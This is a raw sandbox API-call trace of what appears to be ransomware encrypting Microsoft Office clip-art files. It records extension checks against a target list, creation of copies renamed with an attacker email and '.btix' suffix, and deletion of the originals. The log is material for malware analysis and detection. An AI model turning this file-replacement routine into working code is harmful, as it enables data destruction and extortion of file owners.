[0148.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.917] lstrlenW (lpString=".xlsx") returned 5 [0148.917] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0148.917] lstrlenW (lpString=".ppt") returned 4 [0148.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.917] lstrlenW (lpString=".zip") returned 4 [0148.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.917] lstrlenW (lpString=".rar") returned 4 [0148.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.917] lstrlenW (lpString=".bz2") returned 4 [0148.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.917] lstrlenW (lpString=".7z") returned 3 [0148.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.917] lstrlenW (lpString=".dbf") returned 4 [0148.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.917] lstrlenW (lpString=".1cd") returned 4 [0148.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0148.917] lstrlenW (lpString=".jpg") returned 4 [0148.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.917] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.917] lstrlenW (lpString="J0093905.WMF") returned 12 [0148.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.918] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=42050) returned 1 [0148.918] CloseHandle (hObject=0x384) returned 1 [0148.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220 [0148.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.918] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.918] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.921] GetLastError () returned 0x0 [0148.921] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xa442, lpOverlapped=0x0) returned 1 [0148.923] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xa450, lpOverlapped=0x0) returned 1 [0148.924] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.924] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.924] SetEndOfFile (hFile=0x388) returned 1 [0148.925] CloseHandle (hObject=0x388) returned 1 [0148.925] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.925] SetEndOfFile (hFile=0x384) returned 1 [0148.926] CloseHandle (hObject=0x384) returned 1 [0148.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0148.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.926] lstrlenW (lpString=".doc") returned 4 [0148.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.926] lstrlenW (lpString=".docx") returned 5 [0148.926] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0148.926] lstrlenW (lpString=".pdf") returned 4 [0148.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.926] lstrlenW (lpString=".xls") returned 4 [0148.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.926] lstrlenW (lpString=".xlsx") returned 5 [0148.926] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0148.927] lstrlenW (lpString=".ppt") returned 4 [0148.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.927] lstrlenW (lpString=".zip") returned 4 [0148.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.927] lstrlenW (lpString=".rar") returned 4 [0148.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.927] lstrlenW (lpString=".bz2") returned 4 [0148.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.927] lstrlenW (lpString=".7z") returned 3 [0148.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.927] lstrlenW (lpString=".dbf") returned 4 [0148.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.927] lstrlenW (lpString=".1cd") returned 4 [0148.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.927] lstrlenW (lpString=".jpg") returned 4 [0148.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.928] lstrlenW (lpString=".doc") returned 4 [0148.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.928] lstrlenW (lpString=".docx") returned 5 [0148.928] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0148.928] lstrlenW (lpString=".pdf") returned 4 [0148.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.928] lstrlenW (lpString=".xls") returned 4 [0148.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.928] lstrlenW (lpString=".xlsx") returned 5 [0148.928] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0148.928] lstrlenW (lpString=".ppt") returned 4 [0148.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.928] lstrlenW (lpString=".zip") returned 4 [0148.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.928] lstrlenW (lpString=".rar") returned 4 [0148.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.928] lstrlenW (lpString=".bz2") returned 4 [0148.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.928] lstrlenW (lpString=".7z") returned 3 [0148.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.928] lstrlenW (lpString=".dbf") returned 4 [0148.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.928] lstrlenW (lpString=".1cd") returned 4 [0148.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0148.928] lstrlenW (lpString=".jpg") returned 4 [0148.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.929] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.929] lstrlenW (lpString="J0098497.WMF") returned 12 [0148.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.929] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4970) returned 1 [0148.929] CloseHandle (hObject=0x384) returned 1 [0148.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220 [0148.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.929] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.929] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.930] GetLastError () returned 0x0 [0148.930] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x136a, lpOverlapped=0x0) returned 1 [0148.930] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1370, lpOverlapped=0x0) returned 1 [0148.931] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.931] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.932] SetEndOfFile (hFile=0x388) returned 1 [0148.932] CloseHandle (hObject=0x388) returned 1 [0148.932] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.932] SetEndOfFile (hFile=0x384) returned 1 [0148.932] CloseHandle (hObject=0x384) returned 1 [0148.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0148.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.933] lstrlenW (lpString=".doc") returned 4 [0148.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.933] lstrlenW (lpString=".docx") returned 5 [0148.933] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.933] lstrlenW (lpString=".pdf") returned 4 [0148.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.933] lstrlenW (lpString=".xls") returned 4 [0148.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.933] lstrlenW (lpString=".xlsx") returned 5 [0148.933] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.933] lstrlenW (lpString=".ppt") returned 4 [0148.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.933] lstrlenW (lpString=".zip") returned 4 [0148.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.933] lstrlenW (lpString=".rar") returned 4 [0148.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.934] lstrlenW (lpString=".bz2") returned 4 [0148.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.934] lstrlenW (lpString=".7z") returned 3 [0148.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.934] lstrlenW (lpString=".dbf") returned 4 [0148.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.934] lstrlenW (lpString=".1cd") returned 4 [0148.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.934] lstrlenW (lpString=".jpg") returned 4 [0148.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.934] lstrlenW (lpString=".doc") returned 4 [0148.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.934] lstrlenW (lpString=".docx") returned 5 [0148.934] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.934] lstrlenW (lpString=".pdf") returned 4 [0148.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.934] lstrlenW (lpString=".xls") returned 4 [0148.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.934] lstrlenW (lpString=".xlsx") returned 5 [0148.934] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.934] lstrlenW (lpString=".ppt") returned 4 [0148.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.934] lstrlenW (lpString=".zip") returned 4 [0148.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.934] lstrlenW (lpString=".rar") returned 4 [0148.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.934] lstrlenW (lpString=".bz2") returned 4 [0148.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.935] lstrlenW (lpString=".7z") returned 3 [0148.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.935] lstrlenW (lpString=".dbf") returned 4 [0148.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.935] lstrlenW (lpString=".1cd") returned 4 [0148.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68 [0148.935] lstrlenW (lpString=".jpg") returned 4 [0148.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.935] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0148.935] lstrlenW (lpString="J0099145.JPG") returned 12 [0148.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.935] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=24759) returned 1 [0148.935] CloseHandle (hObject=0x384) returned 1 [0148.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220 [0148.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.936] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.936] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.936] GetLastError () returned 0x0 [0148.936] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x60b7, lpOverlapped=0x0) returned 1 [0148.937] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x60c0, lpOverlapped=0x0) returned 1 [0148.938] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.938] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.938] SetEndOfFile (hFile=0x388) returned 1 [0148.939] CloseHandle (hObject=0x388) returned 1 [0148.939] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.939] SetEndOfFile (hFile=0x384) returned 1 [0148.940] CloseHandle (hObject=0x384) returned 1 [0148.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0148.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.940] lstrlenW (lpString=".doc") returned 4 [0148.940] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.940] lstrlenW (lpString=".docx") returned 5 [0148.940] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0148.940] lstrlenW (lpString=".pdf") returned 4 [0148.940] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.940] lstrlenW (lpString=".xls") returned 4 [0148.940] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.940] lstrlenW (lpString=".xlsx") returned 5 [0148.940] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0148.940] lstrlenW (lpString=".ppt") returned 4 [0148.940] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.940] lstrlenW (lpString=".zip") returned 4 [0148.940] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.941] lstrlenW (lpString=".rar") returned 4 [0148.941] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.941] lstrlenW (lpString=".bz2") returned 4 [0148.941] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.941] lstrlenW (lpString=".7z") returned 3 [0148.941] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.941] lstrlenW (lpString=".dbf") returned 4 [0148.941] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.941] lstrlenW (lpString=".1cd") returned 4 [0148.941] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.941] lstrlenW (lpString=".jpg") returned 4 [0148.941] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.941] lstrlenW (lpString=".doc") returned 4 [0148.941] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.941] lstrlenW (lpString=".docx") returned 5 [0148.941] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0148.941] lstrlenW (lpString=".pdf") returned 4 [0148.941] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.941] lstrlenW (lpString=".xls") returned 4 [0148.941] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.941] lstrlenW (lpString=".xlsx") returned 5 [0148.941] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0148.941] lstrlenW (lpString=".ppt") returned 4 [0148.941] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.941] lstrlenW (lpString=".zip") returned 4 [0148.941] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.941] lstrlenW (lpString=".rar") returned 4 [0148.942] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.942] lstrlenW (lpString=".bz2") returned 4 